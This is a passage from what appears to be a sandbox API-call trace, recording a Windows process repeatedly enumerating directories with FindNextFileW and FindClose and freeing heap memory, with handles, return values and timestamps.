hHeap=0x510000) returned 1 [0137.037] FindNextFileW (in: hFindFile=0x3e5bc98, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0137.047] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x453ef58 | out: hHeap=0x510000) returned 1 [0137.047] FindNextFileW (in: hFindFile=0x3e5bed8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 0 [0137.047] FindClose (in: hFindFile=0x3e5bed8 | out: hFindFile=0x3e5bed8) returned 1 [0137.047] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4584f50 | out: hHeap=0x510000) returned 1 [0137.047] FindNextFileW (in: hFindFile=0x3e5bc98, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 0 [0137.047] FindClose (in: hFindFile=0x3e5bc98 | out: hFindFile=0x3e5bc98) returned 1 [0137.047] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4415678 | out: hHeap=0x510000) returned 1 [0137.048] FindNextFileW (in: hFindFile=0x3e5bad8, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0137.053] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4415678 | out: hHeap=0x510000) returned 1 [0137.053] FindNextFileW (in: hFindFile=0x3e5bad8, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0137.055] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4415678 | out: hHeap=0x510000) returned 1 [0137.055] FindNextFileW (in: hFindFile=0x3e5bad8, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0137.061] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0137.061] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x33ce918 | out: lpFindFileData=0x33ce918) returned 0 [0137.061] FindClose (in: hFindFile=0x3e5c658 | out: hFindFile=0x3e5c658) returned 1 [0137.061] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x455ff60 | out: hHeap=0x510000) returned 1 [0137.061] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 0 [0137.061] FindClose (in: hFindFile=0x3e5bcd8 | out: hFindFile=0x3e5bcd8) returned 1 [0137.061] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x453ef58 | out: hHeap=0x510000) returned 1 [0137.061] FindNextFileW (in: hFindFile=0x3e5bc98, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0137.074] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0137.074] FindNextFileW (in: hFindFile=0x3e5c1d8, lpFindFileData=0x33ce918 | out: lpFindFileData=0x33ce918) returned 0 [0137.074] FindClose (in: hFindFile=0x3e5c1d8 | out: hFindFile=0x3e5c1d8) returned 1 [0137.074] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x455ff60 | out: hHeap=0x510000) returned 1 [0137.074] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0137.075] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0137.075] FindNextFileW (in: hFindFile=0x3e5c318, lpFindFileData=0x33ce918 | out: lpFindFileData=0x33ce918) returned 0 [0137.075] FindClose (in: hFindFile=0x3e5c318 | out: hFindFile=0x3e5c318) returned 1 [0137.075] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x455ff60 | out: hHeap=0x510000) returned 1 [0137.075] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0137.115] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0137.115] FindNextFileW (in: hFindFile=0x3e5c518, lpFindFileData=0x33ce918 | out: lpFindFileData=0x33ce918) returned 0 [0137.115] FindClose (in: hFindFile=0x3e5c518 | out: hFindFile=0x3e5c518) returned 1 [0137.115] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x455ff60 | out: hHeap=0x510000) returned 1 [0137.115] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0137.116] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0137.116] FindNextFileW (in: hFindFile=0x3e5c398, lpFindFileData=0x33ce918 | out: lpFindFileData=0x33ce918) returned 0 [0137.116] FindClose (in: hFindFile=0x3e5c398 | out: hFindFile=0x3e5c398) returned 1 [0137.116] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x455ff60 | out: hHeap=0x510000) returned 1 [0137.116] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0137.117] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0137.117] FindNextFileW (in: hFindFile=0x3e5c1d8, lpFindFileData=0x33ce918 | out: lpFindFileData=0x33ce918) returned 0 [0137.117] FindClose (in: hFindFile=0x3e5c1d8 | out: hFindFile=0x3e5c1d8) returned 1 [0137.117] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x455ff60 | out: hHeap=0x510000) returned 1 [0137.117] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0137.118] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0137.118] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x33ce918 | out: lpFindFileData=0x33ce918) returned 0 [0137.118] FindClose (in: hFindFile=0x3e5c658 | out: hFindFile=0x3e5c658) returned 1 [0137.118] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x455ff60 | out: hHeap=0x510000) returned 1 [0137.118] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 0 [0137.118] FindClose (in: hFindFile=0x3e5bcd8 | out: hFindFile=0x3e5bcd8) returned 1 [0137.118] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x453ef58 | out: hHeap=0x510000) returned 1 [0137.118] FindNextFileW (in: hFindFile=0x3e5bc98, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 0 [0137.118] FindClose (in: hFindFile=0x3e5bc98 | out: hFindFile=0x3e5bc98) returned 1 [0137.118] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4584f50 | out: hHeap=0x510000) returned 1 [0137.119] FindNextFileW (in: hFindFile=0x3e5bed8, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0137.120] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4584f50 | out: hHeap=0x510000) returned 1 [0137.120] FindNextFileW (in: hFindFile=0x3e5bed8, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0137.121] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x453ef58 | out: hHeap=0x510000) returned 1 [0137.121] FindNextFileW (in: hFindFile=0x3e5bc98, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0137.121] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x453ef58 | out: hHeap=0x510000) returned 1 [0137.121] FindNextFileW (in: hFindFile=0x3e5bc98, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0137.122] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x453ef58 | out: hHeap=0x510000) returned 1 [0137.122] FindNextFileW (in: hFindFile=0x3e5bc98, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0137.123] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x453ef58 | out: hHeap=0x510000) returned 1 [0137.123] FindNextFileW (in: hFindFile=0x3e5bc98, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0137.123] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x453ef58 | out: hHeap=0x510000) returned 1 [0137.123] FindNextFileW (in: hFindFile=0x3e5bc98, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 0 [0137.123] FindClose (in: hFindFile=0x3e5bc98 | out: hFindFile=0x3e5bc98) returned 1 [0137.123] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4584f50 | out: hHeap=0x510000) returned 1 [0137.123] FindNextFileW (in: hFindFile=0x3e5bed8, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0137.124] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x455ff60 | out: hHeap=0x510000) returned 1 [0137.124] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0137.124] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x455ff60 | out: hHeap=0x510000) returned 1 [0137.124] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 0 [0137.124] FindClose (in: hFindFile=0x3e5bcd8 | out: hFindFile=0x3e5bcd8) returned 1 [0137.124] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x453ef58 | out: hHeap=0x510000) returned 1 [0137.124] FindNextFileW (in: hFindFile=0x3e5bc98, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 0 [0137.124] FindClose (in: hFindFile=0x3e5bc98 | out: hFindFile=0x3e5bc98) returned 1 [0137.124] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4584f50 | out: hHeap=0x510000) returned 1 [0137.124] FindNextFileW (in: hFindFile=0x3e5bed8, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0137.335] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4584f50 | out: hHeap=0x510000) returned 1 [0137.335] FindNextFileW (in: hFindFile=0x3e5bed8, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 0 [0137.335] FindClose (in: hFindFile=0x3e5bed8 | out: hFindFile=0x3e5bed8) returned 1 [0137.335] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4415678 | out: hHeap=0x510000) returned 1 [0137.335] FindNextFileW (in: hFindFile=0x3e5bad8, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 0 [0137.335] FindClose (in: hFindFile=0x3e5bad8 | out: hFindFile=0x3e5bad8) returned 1 [0137.335] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dd0748 | out: hHeap=0x510000) returned 1 [0137.335] FindNextFileW (in: hFindFile=0x3e5bdd8, lpFindFileData=0x33cf584 | out: lpFindFileData=0x33cf584) returned 0 [0137.335] FindClose (in: hFindFile=0x3e5bdd8 | out: hFindFile=0x3e5bdd8) returned 1 [0137.335] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x447a940 | out: hHeap=0x510000) returned 1 [0137.337] FindNextFileW (in: hFindFile=0x3e5bf58, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 0 [0137.337] FindClose (in: hFindFile=0x3e5bf58 | out: hFindFile=0x3e5bf58) returned 1 [0137.337] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x446a938 | out: hHeap=0x510000) returned 1 [0137.337] FindNextFileW (in: hFindFile=0x3e5bb18, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0137.521] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4415678 | out: hHeap=0x510000) returned 1 [0137.521] FindNextFileW (in: hFindFile=0x3e5bf58, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 0 [0137.521] FindClose (in: hFindFile=0x3e5bf58 | out: hFindFile=0x3e5bf58) returned 1 [0137.521] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dd0748 | out: hHeap=0x510000) returned 1 [0137.521] FindNextFileW (in: hFindFile=0x3e5bb18, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0137.532] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4584f50 | out: hHeap=0x510000) returned 1 [0137.532] FindNextFileW (in: hFindFile=0x3e5bc98, lpFindFileData=0x33cf584 | out: lpFindFileData=0x33cf584) returned 1 [0137.534] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4584f50 | out: hHeap=0x510000) returned 1 [0137.534] FindNextFileW (in: hFindFile=0x3e5bc98, lpFindFileData=0x33cf584 | out: lpFindFileData=0x33cf584) returned 1 [0137.534] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4584f50 | out: hHeap=0x510000) returned 1 [0137.535] FindNextFileW (in: hFindFile=0x3e5bc98, lpFindFileData=0x33cf584 | out: lpFindFileData=0x33cf584) returned 0 [0137.535] FindClose (in: hFindFile=0x3e5bc98 | out: hFindFile=0x3e5bc98) returned 1 [0137.535] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4415678 | out: hHeap=0x510000) returned 1 [0137.535] FindNextFileW (in: hFindFile=0x3e5bad8, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0137.536] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4584f50 | out: hHeap=0x510000) returned 1 [0137.536] FindNextFileW (in: hFindFile=0x3e5bed8, lpFindFileData=0x33cf584 | out: lpFindFileData=0x33cf584) returned 0 [0137.536] FindClose (in: hFindFile=0x3e5bed8 | out: hFindFile=0x3e5bed8) returned 1 [0137.536] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4415678 | out: hHeap=0x510000) returned 1 [0137.536] FindNextFileW (in: hFindFile=0x3e5bad8, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0137.537] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4415678 | out: hHeap=0x510000) returned 1 [0137.538] FindNextFileW (in: hFindFile=0x3e5bad8, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0137.538] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4415678 | out: hHeap=0x510000) returned 1 [0137.538] FindNextFileW (in: hFindFile=0x3e5bad8, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0137.539] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4584f50 | out: hHeap=0x510000) returned 1 [0137.539] FindNextFileW (in: hFindFile=0x3e5bdd8, lpFindFileData=0x33cf584 | out: lpFindFileData=0x33cf584) returned 0 [0137.539] FindClose (in: hFindFile=0x3e5bdd8 | out: hFindFile=0x3e5bdd8) returned 1 [0137.539] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4415678 | out: hHeap=0x510000) returned 1 [0137.539] FindNextFileW (in: hFindFile=0x3e5bad8, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0137.541] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4415678 | out: hHeap=0x510000) returned 1 [0137.541] FindNextFileW (in: hFindFile=0x3e5bad8, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0137.541] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dd0748 | out: hHeap=0x510000) returned 1 [0137.541] FindNextFileW (in: hFindFile=0x3e5bb18, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0137.542] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x453ef58 | out: hHeap=0x510000) returned 1 [0137.542] FindNextFileW (in: hFindFile=0x3e5bad8, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0137.543] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x453ef58 | out: hHeap=0x510000) returned 1 [0137.543] FindNextFileW (in: hFindFile=0x3e5bad8, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 0 [0137.543] FindClose (in: hFindFile=0x3e5bad8 | out: hFindFile=0x3e5bad8) returned 1 [0137.543] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4584f50 | out: hHeap=0x510000) returned 1 [0137.543] FindNextFileW (in: hFindFile=0x3e5bed8, lpFindFileData=0x33cf584 | out: lpFindFileData=0x33cf584) returned 0 [0137.543] FindClose (in: hFindFile=0x3e5bed8 | out: hFindFile=0x3e5bed8) returned 1 [0137.543] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4415678 | out: hHeap=0x510000) returned 1 [0137.545] FindNextFileW (in: hFindFile=0x3e5bc98, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 0 [0137.545] FindClose (in: hFindFile=0x3e5bc98 | out: hFindFile=0x3e5bc98) returned 1 [0137.545] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dd0748 | out: hHeap=0x510000) returned 1 [0137.545] FindNextFileW (in: hFindFile=0x3e5bb18, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0137.550] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x446a938 | out: hHeap=0x510000) returned 1 [0137.550] FindNextFileW (in: hFindFile=0x3e5bc98, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0137.550] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x453ef58 | out: hHeap=0x510000) returned 1 [0137.550] FindNextFileW (in: hFindFile=0x3e5bdd8, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0137.553] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x446a938 | out: hHeap=0x510000) returned 1 [0137.553] FindNextFileW (in: hFindFile=0x3e5bc98, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0137.554] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x453ef58 | out: hHeap=0x510000) returned 1 [0137.554] FindNextFileW (in: hFindFile=0x3e5bdd8, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 0 [0137.554] FindClose (in: hFindFile=0x3e5bdd8 | out: hFindFile=0x3e5bdd8) returned 1 [0137.554] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4584f50 | out: hHeap=0x510000) returned 1 [0137.554] FindNextFileW (in: hFindFile=0x3e5bad8, lpFindFileData=0x33cf584 | out: lpFindFileData=0x33cf584) returned 0 [0137.554] FindClose (in: hFindFile=0x3e5bad8 | out: hFindFile=0x3e5bad8) returned 1 [0137.554] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4415678 | out: hHeap=0x510000) returned 1 [0137.555] FindNextFileW (in: hFindFile=0x3e5bf58, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0137.555] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dd0748 | out: hHeap=0x510000) returned 1 [0137.555] FindNextFileW (in: hFindFile=0x3e5bb18, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0137.725] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4415678 | out: hHeap=0x510000) returned 1 [0137.725] FindNextFileW (in: hFindFile=0x3e5bad8, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0137.725] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dd0748 | out: hHeap=0x510000) returned 1 [0137.725] FindNextFileW (in: hFindFile=0x3e5bb18, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0137.725] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dd0748 | out: hHeap=0x510000) returned 1 [0137.725] FindNextFileW (in: hFindFile=0x3e5bb18, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0137.732] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x455ff60 | out: hHeap=0x510000) returned 1 [0137.732] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0137.748] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x455ff60 | out: hHeap=0x510000) returned 1 [0137.748] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0137.749] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x455ff60 | out: hHeap=0x510000) returned 1 [0137.749] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0137.775] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x455ff60 | out: hHeap=0x510000) returned 1 [0137.775] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0137.854] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x455ff60 | out: hHeap=0x510000) returned 1 [0137.854] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0137.875] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x455ff60 | out: hHeap=0x510000) returned 1 [0137.875] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0137.879] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x455ff60 | out: hHeap=0x510000) returned 1 [0137.879] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0137.883] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x455ff60 | out: hHeap=0x510000) returned 1 [0137.883] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0137.890] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x455ff60 | out: hHeap=0x510000) returned 1 [0137.890] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0139.040] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x455ff60 | out: hHeap=0x510000) returned 1 [0139.040] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0139.041] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x455ff60 | out: hHeap=0x510000) returned 1 [0139.041] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0139.043] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x455ff60 | out: hHeap=0x510000) returned 1 [0139.043] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0139.044] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x455ff60 | out: hHeap=0x510000) returned 1 [0139.044] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0139.045] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x455ff60 | out: hHeap=0x510000) returned 1 [0139.045] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0139.049] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x455ff60 | out: hHeap=0x510000) returned 1 [0139.049] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0139.144] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x455ff60 | out: hHeap=0x510000) returned 1 [0139.144] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0139.232] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x455ff60 | out: hHeap=0x510000) returned 1 [0139.232] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0139.234] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x455ff60 | out: hHeap=0x510000) returned 1 [0139.234] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0139.236] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x455ff60 | out: hHeap=0x510000) returned 1 [0139.236] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0139.241] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x455ff60 | out: hHeap=0x510000) returned 1 [0139.241] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0139.242] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x455ff60 | out: hHeap=0x510000) returned 1 [0139.242] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0139.244] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x455ff60 | out: hHeap=0x510000) returned 1 [0139.244] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0139.245] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x455ff60 | out: hHeap=0x510000) returned 1 [0139.245] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0139.247] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x455ff60 | out: hHeap=0x510000) returned 1 [0139.247] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0139.248] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x455ff60 | out: hHeap=0x510000) returned 1 [0139.248] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0139.250] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x455ff60 | out: hHeap=0x510000) returned 1 [0139.250] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0139.251] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x455ff60 | out: hHeap=0x510000) returned 1 [0139.251] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0139.253] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x455ff60 | out: hHeap=0x510000) returned 1 [0139.253] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0139.254] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x455ff60 | out: hHeap=0x510000) returned 1 [0139.255] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0139.256] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x455ff60 | out: hHeap=0x510000) returned 1 [0139.256] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0139.257] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x455ff60 | out: hHeap=0x510000) returned 1 [0139.257] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0139.287] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x455ff60 | out: hHeap=0x510000) returned 1 [0139.287] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0139.553] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x455ff60 | out: hHeap=0x510000) returned 1 [0139.553] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0139.554] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x455ff60 | out: hHeap=0x510000) returned 1 [0139.555] FindNextFileW (in: hFindFile=0x3e5bcd8, 